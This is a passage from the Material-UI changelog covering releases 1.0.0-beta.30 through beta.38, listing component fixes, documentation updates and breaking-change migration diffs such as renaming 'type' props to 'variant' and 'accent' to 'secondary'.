@cvanem\n- [️MuiThemeProvider] TypeScript disableStylesGeneration (#10759) @djeeg\n- [Input] Relax inputProps and inputComponent Types (#10767) @pelotom\n- [Tabs] Warn on invalid combination (#10788) @oliviertassinari\n- [Select] Better document event.target.value (#10791) @oliviertassinari\n- [Drawer] Add Swipeable feature (#9730) @leMaik\n- [Select] Add support for autoFocus (#10792) @nicoffee\n- [Icon] Fix typing by taking out fontSize property (#10821) @franklixuefei\n\n### Docs\n\n- [docs] Add new npm package: @material-ui/docs (#10699) @oliviertassinari\n- [docs] Use buttonRef instead of ref in anchor playground example (#10708) @pelotom\n- [docs] Fix \"Edit this page\" button (#10722) @SebastianSchmidt\n- [docs] Add search shortcut (#10725) @oliviertassinari\n- [docs] Make navigation look more like the material guidelines (#10709) @leMaik\n- [docs] Clarify discrepancies from default theme (#10732) @yihangho\n- [examples] Update next.js PWA color (#10749) @blainegarrett\n- [docs] Add StackBlitz demo link (#10758) @oliviertassinari\n- [docs] Fix typo TextField demo (#10766) @elertan\n- [docs] Better CssBaseline documentation (#10770) @oliviertassinari\n- [docs] Remove flow warning (#10780) @rosskevin\n- [docs] Minor typographical fix (#10786) @samdenty99\n- [docs] Selection control, customization example (#10787) @oliviertassinari\n- [docs] Fix typo (#10794) @dylangarcia\n- [examples] Update Flow Example (#10799) @prastut\n- [docs] Material Dashboard Pro React (#10832) @oliviertassinari\n\n### Core\n\n- [core] Upgrade the dev dependencies (#10702) @oliviertassinari\n- [typings] Fix `mixins.gutter` signature (argument is optional) (#10814) @sebald\n\n## 1.0.0-beta.38\n\n_Mar 17, 2018_\n\nA big thanks to the 19 contributors who made this release possible.\n\nThis release comes with important theme upgrades. Here are some highlights ✨:\n\n- Introduction of a Premium Themes section (#10616).\n- A `props` theme key to globally inject properties on components (#10671).\n- A theme option to change the font-size (#10687).\n- And many more bug fixes and documentation improvements.\n\n### Breaking change\n\nN/A\n\n### Component Fixes / Enhancements\n\n- [Select] Fix chip alignment (#10611) @adamszeptycki\n- [Tabs] Add 'scrollButtons' and 'indicator' to TabsClassKey TypeScript definition (#10618) @cvanem\n- [TablePagination] Add SelectProps property (#10629) @mrahman1122\n- [ListItemSecondaryAction] Vertically center (#10628) @jedwards1211\n- [Select] Add visual tests to prevent future regression (#10642) @oliviertassinari\n- [Popover] Update anchorEl type (#10645) @nicoffee\n- [styles] Better color manipulator warning (#10652) @oliviertassinari\n- [Autocomplete] Show how to use the label (#10653) @oliviertassinari\n- [ButtonBase] Update class keys (#10659) @lukePeavey\n- [FromHelperText] Add missing component prop definition (#10658) @franklixuefei\n- [theme] Reduce the negative margin (#10672) @oliviertassinari\n- [theme] Add a props theme key (#10671) @oliviertassinari\n- [DialogActions] Add missing TypeScript property (#10674) @youngnicks\n- [GridList] Should allow optional children (#10680) @rosskevin\n- [DialogContentText] Extend the Typography component (#10683) @oliviertassinari\n- [theme] Allow changing the font-size (#10687) @oliviertassinari\n- [Stepper] Soft ripple background (#10690) @oliviertassinari\n\n### Docs\n\n- [docs] Add project to showcase (#10614) @jdupont\n- [docs] Fix typo (#10621) @prastut\n- [docs] Updating the TypeScript example to use CssBaseline (#10633) @yuchen-w\n- [docs] Better support of multiline for downshift (#10641) @oliviertassinari\n- [docs] Simplify LongMenu demo (#10646) @RichardLindhout\n- [docs] Improve the onboarding (#10639) @oliviertassinari\n- [docs] Fix usage of CssBaseline/Reboot in the CDN example (#10655) @SebastianSchmidt\n- [docs] Fix reference to CssBaseline component (#10654) @SebastianSchmidt\n- [themes] Introduce a themes website ⚡️ (#10616) @oliviertassinari\n- [docs] Fix reference to FAQ (#10660) @SebastianSchmidt\n- [docs] Fix reference to Popover demo (#10661) @SebastianSchmidt\n- [docs] Fix reference to Modal demo (#10662) @SebastianSchmidt\n- [docs] Add Rung to showcase (#10669) @vitorebatista\n- [docs] Add Bit as a sponsor ❤️ (#10673) @oliviertassinari\n- [docs] Third iteration on the homepage (#10670) @oliviertassinari\n- [docs] Add Team SC into showcase (#10676) @Losses\n- [docs] Handle optional params (#10685) @oliviertassinari\n- [docs] Customized tables (#10686) @oliviertassinari\n\n### Core\n\n- [typescript] Remove xxxClassName props from type declarations (#10644) @lukePeavey\n- [typescript] Add inline style prop to transition (#10650) @nmchaves\n\n## 1.0.0-beta.37\n\n_Mar 11, 2018_\n\nA big thanks to the 13 contributors who made this release possible.\n\nHere are some highlights ✨:\n\n- An important fix of the focus/blur logic of the Select (#10538) @oliviertassinari.\n- A multiple selection downshift example (#10550) @oliviertassinari.\n- A new parcel example (#10575) @oliviertassinari.\n- And many more bug fixes and documentation improvements.\n\n### Breaking change\n\n- [classes] Move the XXXClassName to the classes property (#10600) @oliviertassinari\n\nThese properties were introduced before `classes`.\nExposing a single pattern makes things more predictable and easier to work with.\n\n```diff\n-<Tabs buttonClassName=\"foo\" indicatorClassName=\"bar\" />\n+<Tabs classes={{ scrollButtons: 'foo', indicator: 'bar' }} />\n```\n\n```diff\n-<TextField labelClassName=\"foo\" helperTextClassName=\"bar\" />\n+<TextField InputLabelProps={{ className: 'foo' }} FormHelperTextProps={{ className: 'bar' }} />\n```\n\n- [CssBaseline] Rename from Reboot (#10605}\n\nThe new wording should clarify the purpose of the component.\nFor instance, it's not about adding JavaScript polyfills.\n\n```diff\n-<Reboot />\n+<CssBaseline />\n```\n\n### Component Fixes / Enhancements\n\n- [Select] Fix wrong onBlur onFocus logic (#10538) @oliviertassinari\n- [ExpansionPanel] Fix controlled behavior (#10546) @oliviertassinari\n- [Autocomplete] Add multiple downshift example (#10550) @oliviertassinari\n- [Autocomplete] selectedItem can be null (#10565) @caub\n- [core] Improve IE11 support (#10568) @oliviertassinari\n- [TextField] Better inputComponent demo (#10573) @oliviertassinari\n- [typescript] Add a test case for ListItemIcon (#10593) @oliviertassinari\n- [ListItemText] Make the children an alias of the primary property (#10591) @caub\n- [Button] Fix Button variant prop description (#10578) @teekwak\n- [Table] Fix table pagination example empty row height (#10588) @amcgee\n- [Icon] Fix a bug in Chrome 64.0 (#10594) @caub\n- [List] use theme for margin in ListItemText (#10597) @caub\n- [StepIcon] enable CSS modifications of active step (#10599) @vkentta\n- [Tooltip] Add enterTouchDelay and leaveTouchDelay props (#10577) @petegivens\n\n### Docs\n\n- [docs] Simplify the CDN example (6e4cc723689961582ede16db421cbdf24ac7c4b9) @oliviertassinari\n- [docs] Add showcase to readme - componofy (#10541) @DalerAsrorov\n- [docs] Add Cryptoverview to the showcase (#10545) @leMaik\n- [docs] Add menu Collapse example (#10548) @oliviertassinari\n- [docs] Add PersonalBlog Gatsby starter to Showcase (#10566) @greglobinski\n- [docs] Add parcel example (#10575) @oliviertassinari\n- [docs] Fix typo in contributing readme (#10586) @chiragmongia\n- [docs] Fix next.js example to enable styled-jsx with material-ui (#10580) @shibukawa\n- [docs] Add the latest backers (#10602) @oliviertassinari\n- [docs] Add Planalyze to Showcase (#10603) @dancastellon\n- [docs] Improve the htmlFontSize documentation (#10604) @oliviertassinari\n\n### Core\n\n- [core] Fix type definitions (#10553) @stefanorie\n- [core] Better overrides merge support (#10606) @oliviertassinari\n\n## 1.0.0-beta.36\n\n_Mar 5, 2018_\n\nA big thanks to the 14 contributors who made this release possible.\n\nHere are some highlights ✨:\n\n- We have started the effort toward supporting the async API of react@16.3.0 (#10489, #10523) @oliviertassinari.\n- Document how to use Material UI with a CDN (#10514) @zelinf.\n- And many more bug fixes and documentation improvements.\n\n### Breaking change\n\n- [SvgIcon] Allow changing the width with the font-size (#10446) @oliviertassinari\n\nRemove the `fontSize` property. The `SvgIcon` behavior is closer to the `Icon` behavior.\n\n```diff\n-<Icon fontSize />\n-<SvgIcon fontSize />\n+<Icon />\n+<SvgIcon />\n```\n\nNow, you can use the `font-size` style property to changr the size of the icon.\n\n- [classes] Normalize the classes names (#10457) @oliviertassinari\n\nThis is an effort in order to harmonize the classes API.\nThe best way to recover from this breaking change is to check the warnings in the console and to check the added documentation around the design rules around this API.\n\n### Component Fixes / Enhancements\n\n- [Table] Default display style for all table components (#10447) @caub\n- [Collapse] Fix description (#10454) @onurkose\n- [ButtonBase] Add a TouchRippleProps property (#10470) @christophediprima\n- [Select] Ensure label is shrunk when using startAdornment (#10474) @carab\n- [Card][list] Implement responsive gutters (#10477) @lukePeavey\n- [icon] Add \"side-effects\": false to material-ui-icons (#10482) @b1f6c1c4\n- [IconButton] Fix theme.spacing.unit size dependency (#10486) @oliviertassinari\n- [ListItem] Avoid li > li issue (#10484) @oliviertassinari\n- [ListItem] Fix ContainerProps.className propagation (#10488) @oliviertassinari\n- [Textarea] Prepare React 16.3.0 (#10489) @oliviertassinari\n- [icon] Add build:es for material-ui-icons (#10497) @b1f6c1c4\n- [ButtonBase] Fix the ripple on Edge (#10512) @oliviertassinari\n- [Autocomplete] Update the demos so people can stack the components (#10524) @oliviertassinari\n- [Button] Add override support for sizeLarge and sizeSmall (#10526) @wenduzer\n- [Modal] Use prototype functions in ModalManager (#10528) @ianschmitz\n\n### Docs\n\n- [docs] Fix Roadmap docs formatting (#10501) @cherniavskii\n- [docs] EnhancedTable Demo (#10491) @kgregory\n- [docs] Add new Showcase project (#10509) @chriswardo\n- [Select] Document when the value is required (#10505) @MichaelArnoldOwens\n- [Select] Document the renderValue signature (#10513) @oliviertassinari\n- [docs] Add a CDN example (#10514) @oliviertassinari\n- [docs] Fix SSR rendering in Gatsby example (#10536) @LegNeato\n\n### Core\n\n- [core] Prepare the async API (#10523) @oliviertassinari\n- [core] Upgrade the dev dependencies (#10456) @oliviertassinari\n- [core] Upgrade the dev dependencies (#10515) @oliviertassinari\n\n## 1.0.0-beta.35\n\n_Feb 24, 2018_\n\nA big thanks to the 20 contributors who made this release possible.\n\nHere are some highlights ✨:\n\n- A new lab npm package (#10288) @mbrookes.\n- A breaking changes ROADMAP before v1 (#10348) @oliviertassinari.\n- And many more bug fixes and documentation improvements.\n\n### Breaking change\n\nN/A\n\n### Component Fixes / Enhancements\n\n- [Stepper] Add style override types (#10334) @vkentta\n- [Input] Reset the line-height (#10346) @oliviertassinari\n- [Select] Revert #9964 (#10347) @oliviertassinari\n- [lab] Create lab package, add SpeedDial (#10288) @mbrookes\n- [Button] Update Button mini description (#10355) @lorensr\n- [SpeedDial] Fix onClick target element (#10368) @mbrookes\n- [IconButton] Fix class key types (#10374) @vkentta\n- [Chip] Ignore events generated by descendants (#10372) @maxdubrinsky\n- [CardHeader] Add missing \"action\" classes key definition (#10379) @chubbsMcfly\n- [Dialog] Consistent description (#10377) @oliviertassinari\n- [Select] Fix the vertical-align (#10380) @oliviertassinari\n- [Snackbar] Disable pausing of auto hide when window loses focus (#10390) @SebastianSchmidt\n- [Select] Add `SelectDisplayProps` prop (#10408) @noah-potter\n- [SelectInput] Add tabIndex prop (#10345) @keenondrums\n- [Select] Make 'type' prop able to be overwritten (#10361) @fabijanski\n- [Select] Set type undefined rather than null (#10430) @caub\n- [ButtonBase] Fix accessibility (#10434) @oliviertassinari\n- [SwitchBase] Fix defaultChecked issue (#10444) @tanmayrajani\n- [SwitchBase] Prevent defaultChecked regression (#10445) @oliviertassinari\n\n### Docs\n\n- [Transitions] Document transition style prop handling (#10322) @AdamGorkoz\n- [Drawer] Add clipped navigation drawer demo (#10330) @AdamGorkoz\n- [docs] Fix demo links for new util components (#10337) @jprince\n- [docs] Add react-final-form to Related Projects (#10352) @mbrookes\n- [docs] rename theme-default to default-theme (#10356) @mbrookes\n- [docs] Fix modal page link (#10360) @tanmayrajani\n- [docs] Plan the breaking changes before v1 (#10348) @oliviertassinari\n- [docs] Fix IE11 and W3C warnings (#10394) @oliviertassinari\n- [docs] Sort the pages by path and ignore dashes (#10396) @leMaik\n- [docs] Autocomplete migration (#10397) @oliviertassinari\n- [docs] Add AudioNodes to the showcase (#10407) @JohnWeisz\n- [docs] Breaking changes feedback notification (#10413) @mbrookes\n- [docs] Improve readability (#10412) @oliviertassinari\n- [docs] Add material-ui-autosuggest to related projects (#10415) @tgrowden\n- [docs] Update transitions.md (#10417) @caub\n- [docs] Fix minor typo in breaking-changes notification (#10418) @phazor\n- [docs] Description of how component will render (#10432) @oliviertassinari\n- [docs] Add CSSGrid comparison example (#10433) @caub\n\n### Core\n\n- [core] Upgrade some dependency to start looking into React 16.3 (#10338) @oliviertassinari\n- [core] Remove direct references to window/document objects (#10328) @ianschmitz\n- [core] Use tabIndex as number (#10431) @oliviertassinari\n\n## 1.0.0-beta.34\n\n_Feb 17, 2018_\n\nA big thanks to the 21 contributors who made this release possible.\n\nHere are some highlights ✨:\n\n- Checkbox, Radio, Switch update to follow the spec and be consistent with the Input (#10196, #10138) @phsantiago, @mbrookes.\n- The documentation works offline (#10267) @msiadak.\n- Better styled-components documentation (#10266) @rocketraman.\n- And many more bug fixes and documentation improvements.\n\n### Breaking change\n\n- [Checkbox, Radio, Switch] Fix id in internal input (#10196) @phsantiago\n\nFor consistency between the `Input` and the `Checkbox`, `Switch`, `Radio` the following small breaking changes have been done:\n\nThe usage of the `inputProps` property is no longer needed to apply an id to the input. The `id` is applied to the input instead of the root.\n\n```diff\n-<Checkbox inputProps={{ id: 'id' }} />\n+<Checkbox id=\"id\" />\n```\n\nThe `inputType` property was renamed `type`.\n\n```diff\n-<Checkbox inputType=\"text\" />\n+<Checkbox type=\"text\" />\n```\n\n- [Checkbox, Radio, Switch] Change default color, add color prop (#10138) @mbrookes\n\nThe Material Design specification says that selection controls elements should [use the application's secondary color](https://m2.material.io/guidelines/components/selection-controls.html).\n\n```diff\n-<Checkbox />\n-<Switch />\n-<Radio />\n+<Checkbox color=\"primary\" />\n+<Switch color=\"primary\" />\n+<Radio color=\"primary\" />\n```\n\n### Component Fixes / Enhancements\n\n- [Input] Fix infinite loop (#10229) @oliviertassinari\n- [CircularProgress] Add static variant (#10228) @oliviertassinari\n- [Transition] Add the missing teardown logic (#10244) @oliviertassinari\n- [Avatar] Use theme.spacing.unit (#10268) @cherniavskii\n- [InputLabel] Add inheritance docs (#10282) @oliviertassinari\n- [Input][expansionpane] Remove the use of legacy easing-curve (#10290) @strayiker\n- [TableCell] Add \"scope\" attribute for th (#10277) @z-ax\n- [styles] Fix typo (#10303) @strayiker\n- [Button] Add fullWidth to ButtonClassKey (#10310) @stefanorie\n- [TextField] Fix wrong SSR height of the textarea (#10315) @oliviertassinari\n- [ClickAwayListener] Fix interaction with SVGElement (#10318) @KEMBL\n- [Icon] Add fontSize to typings (#10317) @clentfort\n- [Slide] Work with SVG too (#10325) @oliviertassinari\n\n### Docs\n\n- [docs] Update links on showcase.md (#10227) @klyburke\n- [docs] Remove dead code in Drawers (#10230) @oliviertassinari\n- [docs] Add utils section, document transitions (#10239) @mbrookes\n- [docs] Fix small issues (#10245) @oliviertassinari\n- [docs] Add transform-origin and timeout to Grow demo #10246 @mbrookes\n- [docs] Add modole.io to showcase (#10247) @mweiss\n- [docs] Better API generator (#10249) @oliviertassinari\n- [docs] Use non-breaking space (#10252) @oliviertassinari\n- [example] TypeScript instructions (a81e5f9e54fdcc4648ffe6bdc08eaa596fb0a9bc) @oliviertassinari\n- [docs] Fix the migration guide doc page (#10257) @nicolasiensen\n- [docs] Update example in README.md (#10259) @nikoladev\n- [docs] Fix typo in button component demo (#10260) @bmuenzenmeyer\n- [docs] styled components non-root components (#10266) @rocketraman\n- [Selection Control] Symmetry between the demos (#10279) @oliviertassinari\n- [docs] Remove StepConnector from Steppers demo (#10301) @jdupont\n- [docs] Add precaching Service Worker to exported docs builds (#10267) @msiadak\n- [docs] Add missing rel=noopener (#10307) @oliviertassinari\n- [docs] Add the average response time (#10308) @oliviertassinari\n- [docs] Update TextFields.js (#10313) @Primajin\n- [docs] Add toggling with react-popper (#10302) @caub\n- [docs] Add the latest backers ♥ (#10323) @oliviertassinari\n- [docs] Expose the theme as a global object (#10326) @oliviertassinari\n- [docs] Add an example with Google Web Fonts (#10332) @oliviertassinari\n\n### Core\n\n- [core] Fix the es distribution (#10254) @NMinhNguyen\n- [typescript] Add missing exports in index.d.ts (#10295) @Andy4ward\n- [core] Upgrade react-popper (#10299) @oliviertassinari\n\n## 1.0.0-beta.33\n\n_Feb 10, 2018_\n\nA big thanks to the 16 contributors who made this release possible.\n\nHere are some highlights ✨:\n\n- A documentation section on the `component` property (#10128) @sebald.\n- A Snackbar / FAB animation integration example (#10188) @mbrookes.\n- The Select open state can be controlled (#10205) @oliviertassinari.\n- And many more bug fixes and documentation improvements.\n\n### Breaking change\n\nN/A\n\n### Component Fixes / Enhancements\n\n- [typescript] Use Partial props in TypeScript definitions (#10170) @ianschmitz\n- [GridList] Allow null children in GridListTile (#10179) @caub\n- [Grid] Small performance improvement (#10180) @oliviertassinari\n- [TextField] Correct typo in TypeScript export declaration (#10186) @caghand\n- [Switch] Increase the box shadow when checked (#10187) @leMaik\n- [Stepper] Mobile Stepper variant determinate (#10190) @KeKs0r\n- [MenuItem] Better :hover and .selected logic (#10199) @oliviertassinari\n- [LinearProgress] Property definition grammar fix (#10201) @madison-kerndt\n- [MuiThemeProvider] Forward the options when nested (#10176) @Aetherall\n- [Select] Simpler controlled open property (#10205) @oliviertassinari\n- [typescript] Use types from react-transition-group/Transition (#10129) @sebald\n- [typescript] Export WithTheme from index (#10209) @clekili\n- [Stepper] Increase StepButton space for click (#10204) @AlbertLucianto\n- [ButtonBase] Use parent Window of ButtonBase when listening for keyboard events (#10224) @ianschmitz\n- [StepLabel] Give more flexibility to the style of span surrounding label (#10218) @seanchambo\n- [ButtonBase] Save one line of code (#10225) @oliviertassinari\n\n### Docs\n\n- [examples] Rename type to variant (#10167) @oliviertassinari\n- [docs] Using \"component\" prop to customize rendering (#10128) @sebald\n- [docs] Fix the restore focus logic of the Popover demo (#10184) @oliviertassinari\n- [docs] Fix react-select chip on mobile (#10185) @oliviertassinari\n- [docs] Add Snackbar / FAB animation integration example (#10188) @mbrookes\n- [docs] Add LocalMonero to showcase (#10195) @mbrookes\n- [docs] Fix typo `Selet` to `Select` (#10207) @Justkant\n- [docs] Change negative to positive (#10211) @harvitronix\n- [docs] Add project to showcase (#10217) @klyburke\n\n### Core\n\n- [core] Upgrade Next.js (#10181) @oliviertassinari\n- [test] Remove the mockPortal workaround (#10208) @leMaik\n\n## 1.0.0-beta.32\n\n_Feb 4, 2018_\n\nA big thanks to the 12 contributors who made this release possible.\n\nHere are some highlights ✨:\n\n- Rename the `type` property to `variant` (#10088, #10086, #10084, #10101) @mbrookes.\n- Simplify the implementation of the transitions (#10137, #10151) @oliviertassinari.\n- Add support for `position=\"sticky\"` with the AppBar (#10090) @scottastrophic.\n- And many more bug fixes and documentation improvements.\n\n### Breaking change\n\n- [API] Complete type to variant migration (#10101) @mbrookes\n\nThese breaking changes aim at providing a systematic solution to the boolean vs enum naming problem.\n\nWe have documented our approach to solving the problem in #10023. Basically, we enforce the following rule:\n\n- We use a _boolean_ when the degrees of freedom required is **2**.\n- We use an _enum_ when the degrees of freedom required is **> 2**.\n\nThis is what motivated the button breaking change. Unfortunately `type` has its own meaning in the HTML specification. You can use it on the following elements: `<button>, <input>, <command>, <embed>, <object>, <script>, <source>, <style>, <menu>`.\nWe are using a more generic name to **avoid the confusion**: `variant`.\n\nUmbrella pull request for: #10084, #10086, #10088.\n\n```diff\n<Button\n- raised\n+ variant=\"raised\"\n\n<Button\n- fab\n+ variant=\"fab\"\n\n<Typography\n- type=\"title\"\n+ variant=\"title\"\n\n<MobileStepper\n- type=\"dots\"\n+ variant=\"dots\"\n\n<Drawer\n- type=\"persistent\"\n+ variant=\"persistent\"\n\n<LinearProgress\n- mode=\"determinate\"\n+ variant=\"determinate\"\n\n<CircularProgress\n- mode=\"determinate\"\n+ variant=\"determinate\"\n```\n\n- [transition] Standardize the components (#10151)\n\n```diff\n           <Zoom\n             in={in}\n-            enterDelay={transitionDuration.exit}\n+            style={{\n+              transitionDelay: in ? transitionDuration.exit : 0,\n+            }}\n```\n\n### Component Fixes / Enhancements\n\n- [AppBar] Remove one dead CSS property (#10096) @oliviertassinari\n- [AppBar] Add support for `position=\"sticky\"` (#10090) @scottastrophic\n- [CircularProgress] Improve animation & update example (#10079) @mbrookes\n- [API] Rename type prop to variant (#10088) @mbrookes\n- [Button] Move bool props to variant (#10086) @mbrookes\n- [Progress] Rename mode prop to variant (#10084) @mbrookes\n- [Drawer] Add PaperProps property (#10118) @oliviertassinari\n- [TextField] Small refinement (#10117) @oliviertassinari\n- [Stepper] Add StepIcon to Stepper exports (#10119) @melissanoelle\n- [ButtonBase] Fix keyDown handled (#10136) @strayiker\n- [Fade] Simplify implementation (#10137) @oliviertassinari\n- [typescript] Add missing ExpansionPanel style overrides (#10142) @simonvizzini\n- [Dialog] PaperProps TypeScript definition (#10143) @daniel-rabe\n- [InputAdornment] Remove hack (#10157) @oliviertassinari\n- [Hidden] css implementation handle custom className (#10165) @Vincz\n\n### Docs\n\n- [docs] Minor CSP edit (#10089) @oliviertassinari\n- [docs] Avoid anchor id conflict in Progress (#10095) @oliviertassinari\n- [docs] Remove last flow annotations (#10099) @oliviertassinari\n- [docs] Alternative APIs theme (#10100) @oliviertassinari\n- [docs] Add How do I use react-router? in FAQ (#10103) @oliviertassinari\n- [examples] Update README for CRA with JSS (#10105) @kgregory\n- [docs] Add more examples for the Badge (#10114) @oliviertassinari\n- [docs] Rename IntegrationAutosuggest to IntegrationDownshift (#10116) @kentcdodds\n- [docs] Better color prop description (#10133) @mbrookes\n- [docs] Fix duplicated id issue (#10135) @oliviertassinari\n- [docs] Document approach for progress indicator delay (#10145) @mbrookes\n- [docs] Simplify delayed progress indicator example (#10147) @mbrookes\n- [docs] Improve the performance of the homepage (#10152) @oliviertassinari\n- [docs] Allow Demo to specify only required deps (#10150) @caub\n- [docs] Add mui-downshift (#10156) @oliviertassinari\n- [docs] Demo codesandbox deps (#10158) @caub\n\n### Core\n\n- [core] Add the license in the release (#10102) @oliviertassinari\n- [test] Fix AppBar test assert messages (#10109) @cherniavskii\n\n## 1.0.0-beta.31\n\n_Jan 21, 2018_\n\nA big thanks to the 14 contributors who made this release possible.\n\nHere are some highlights ✨:\n\n- Further simplification & standardization with the palette (#10015) @mbrookes.\n- A Content Security Policy Guide (#10074) @dav-is.\n- Document the withStyles alternative APIs (#9981) @oliviertassinari.\n- A react-select integration example (#10070) @oliviertassinari.\n- And many more bug fixes and documentation improvements.\n\nFun facts:\n\n- Our first alpha release was 1 year ago: _Jan 28, 2017_ 🎂!\n- We have done 53 pre-releases of the v1.x, one every week for a year 🛥.\n\n### Breaking change\n\n- [Icon] Remove icon ligature \"magic\" support (#9983) @mbrookes\n\nWe have removed the \"magic\" `<Icon>` wrapping logic. It should be done explicitly now.\nIt's making our components less biased around the svg icon vs font icon choice.\n\n```diff\n+import Icon from 'material-ui/Icon';\n\n-      <IconButton>comment</IconButton>\n+      <IconButton>\n+        <Icon>comment</Icon>\n+      </IconButton>\n```\n\n- [theme] Further simplification & standardization (#10015) @mbrookes\n  - Most component specific `theme.palette.background` colors have been removed. The affected components use `theme.palette.grey` instead. Shift the values of `theme.palette.grey` if you wish to lighten or darken these as a whole; this will maintain the contrast relationship between them. (Paper remains in the theme, as it is used across multiple components.)\n  - `theme.palette.common.fullBlack` and `fullWhite` have been removed. Components that used these values now use `theme.palette.common.black` and `white` instead.\n  - `theme.palette.common.transparent` has been removed. Components that used this value now use `'transparent'` directly.\n  - Chip has been corrected to use `theme.palette.grey`. If you customize the values of `grey`, the appearance of Chip in your app may change.\n\n- [core] Remove the rootRef properties as unneeded (#10025)\n\n```diff\n-import ReactDOM from 'react-dom';\n\n<IconButton\n- rootRef={node => {\n-   this.button = ReactDOM.findDOMNode(node);\n+ buttonRef={node => {\n+   this.button = node;\n  }}\n>\n```\n\n- [Button] Add size property (#10009) @oliviertassinari\n\n```diff\n-<Button dense>\n+<Button size=\"small\">\n```\n\n- [palette] Remove the palette.types from the theme (#10040) @oliviertassinari\n\nIn order to keep the palette simple to understand. I have removed the `types` from the palette object.\nThe motivation is the following. The theme & palette should only store\nthe information needed to display one UI context.\nHaving the `types` object in the palette encourage people to rely on it.\nNo, we want people to do it the other way around.\n\nFor instance, instead of doing:\n\n```jsx\nconst theme = createMuiTheme({\n  palette: {\n    type: 'dark',\n    types: {\n      dark: {\n        background: {\n          default: '#000',\n        },\n      },\n      light: {\n        background: {\n          default: '#fff',\n        },\n      },\n    },\n  },\n});\n```\n\nWe would rather see people doing:\n\n```jsx\nconst types = {\n  dark: {\n    background: {\n      default: '#000',\n    },\n  },\n  light: {\n    background: {\n      default: '#fff',\n    },\n  },\n};\n\nconst theme = createMuiTheme({\n  palette: {\n    type: 'dark',\n    ...types.dark,\n  },\n});\n```\n\n### Component Fixes / Enhancements\n\n- [Input] Make sure our previous or updated context is available (#9986) @yoiang\n- [Dialog] Add PaperProps property (#9985) @nbdaaron\n- [FormControl] Fix w3c issue (#9996) @oliviertassinari\n- [typescript] Add divider to palette type defs (#10008) @xaviergonz\n- [Badge] Add error as a palette option (#10004) @t49tran\n- [Tab] Add textColor inherit default props to Tab (#10005) @x0fma\n- [Menu] Fix dark selected color (#10026) @oliviertassinari\n- [SnackbarContent] Change backgroundColor approach (#10027) @mbrookes\n- [Backdrop] Allow setting of onTouchMove (#10001) @daniel-rabe\n- [Popover] Should default to use anchorEl's parent body (#10049) @ianschmitz\n- [Popover] Respect anchorEl's parent window when calculating position (#10048) @ianschmitz\n- [TableCell] Add sortDirection TypeScript definition (#10057) @cvanem\n- [palette] Fix error color defaults (#10058) @pelotom\n- [ButtonBase] Avoid race condition with react-router (#10061) @oliviertassinari\n- [Modal] Remove dead logic (#10062) @oliviertassinari\n- [List] Fix w3c issues (#10050) @oliviertassinari\n- [jss] Fix the last w3c issue I'm aware of (#10063) @oliviertassinari\n- [LinearProgress] Add ARIA role & fix bugs (#10069) @mbrookes\n- [ButtonBase] Add buttonRef property (#10082) @oliviertassinari\n\n### Docs\n\n- [docs] Edit css injection order docs for create-react-app users (#9990) @PTaylour\n- [docs] withStyles alternative APIs (#9981) @oliviertassinari\n- [docs] Switch the Lightbulb UI (#9995) @oliviertassinari\n- [docs] Use Simple over Basic (#10024) @oliviertassinari\n- [docs] boolean vs enum API (#10023) @oliviertassinari\n- [docs] Improve the typeface-roboto npm instructions (#10039) @oliviertassinari\n- [docs] Add zero click example of Wrapping components (#10041) @oliviertassinari\n- [docs] Reach the AA contrast ratio level (#10053) @oliviertassinari\n- [docs] Misc fixes (#10055) @mbrookes\n- [examples] Add missing TypeScript dependency (#10031) @QuantumInformation\n- [docs] Add Content Security Policy Guide (#10074) @dav-is\n- [docs] Add react-select example (#10070) @oliviertassinari\n\n### Core\n\n- [core] Two small fixes looking at #10005 (#10014) @oliviertassinari\n- [core] Use the official react-docgen package (#10054) @oliviertassinari\n- [core] Upgrade the dependencies (#10060) @oliviertassinari\n\n## 1.0.0-beta.30\n\n_Jan 21, 2018_\n\nA big thanks to the 12 contributors who made this release possible.\n\nHere are some highlights ✨:\n\n- A revamp of the palette usage. We want it to be as simple as possible (#9876, #9918, #9970).\n  We are pretty happy with the outcome. +80% of the story has been completed.\n- A better [w3c compliance](https://validator.w3.org), we will keep working on it in for the next release @sambhav-gore.\n- An improved breakpoints documentation section (#9949).\n- A new notification system for the documentation (#9974) @mbrookes.\n- And many more bug fixes and documentation improvements.\n\n### Breaking change\n\n- [palette] Keep simplifying the solution (#9876) @oliviertassinari\n  - Remove the contrast color from our API. This color variation hasn't proven itseft to be useful enough.\n\n  ```diff\n  -<Button color=\"contrast\" />\n  +<Button />\n  ```\n\n  Instead, you can use the `color=\"inherit\"` property or use the `theme.palette.XXX.contrastText` value.\n  - Rename `accent` to `secondary`. We have removed the accent indirection to be closer to the object people are providing to customize the palette.\n\n  ```diff\n  -<Button color=\"accent\" />\n  +<Button color=\"secondary\" />\n  ```\n\n  ```diff\n  <Tabs\n  - indicatorColor=\"accent\"\n  - textColor=\"accent\"\n  + indicatorColor=\"secondary\"\n  + textColor=\"secondary\"\n  >\n  ```\n\n  - Rename old `secondary` to `textSecondary`. `secondary` and `textSecondary` are two valid color value.\n\n  ```diff\n  -<Typography color=\"secondary\" />\n  +<Typography color=\"textSecondary\" />\n  ```\n\n- [palette] Standardize the secondary color (#9918) @oliviertassinari\n\nThe secondary color now behaves the same way than the other colors (primary, error). We always use the `main` tone by default instead of the `light` tone.\nIt's unclear if this change is making the implementation follow the specification more closely. The direct win is **simplicity and predictability**.\n\n- [palette] Normalize the usage of the palette (#9970) @oliviertassinari\n  - Remove `theme.palette.input` object.\n  - Remove `theme.palette.text.icon` color.\n  - Remove `theme.palette.background.contentFrame`, it was only used in the documentation.\n  - Move `theme.palette.text.divider` to `theme.palette.divider`, it's not a text color.\n  - Remove `theme.palette.text.lightDivider`, there is no reference to is in the specification, better keep things simple.\n\n### Component Fixes / Enhancements\n\n- [Button] Fix secondary contrastText color (#9913) @ValentinH\n- [FormTextHelper] Add component prop (#9917) @sambhav-gore\n- [core] Fix some w3c validation errors (#9906) @oliviertassinari\n- [TableCell] Fix TypeScript definition (#9926) @ljvanschie\n- [Divider] Add component property (#9927) @oliviertassinari\n- [FormControl] Fix alternating focus change bug (#9909) @dapetcu21\n- [CircularProgress] Fix animation on Edge 16 and below (#9938) @oliviertassinari\n- [ListItemText] Update Typings for primary and secondary text class keys (#9946) @spallister\n- [palette] ShadeBackground interface updated (#9955) @daniel-rabe\n- [TableCell] Fix TypeScript definition (#9959) @ljvanschie\n- [Select] Fix a small vertical alignment issue (#9964) @oliviertassinari\n- [IconButton] Better follow the spec (#9967) @oliviertassinari\n- [Select] Add inputProps property (#9979) @oliviertassinari\n- [typescript] Palette typing fixes and error augmentation (#9973) @pelotom\n- [Grid] minWidth for type item (#9972) 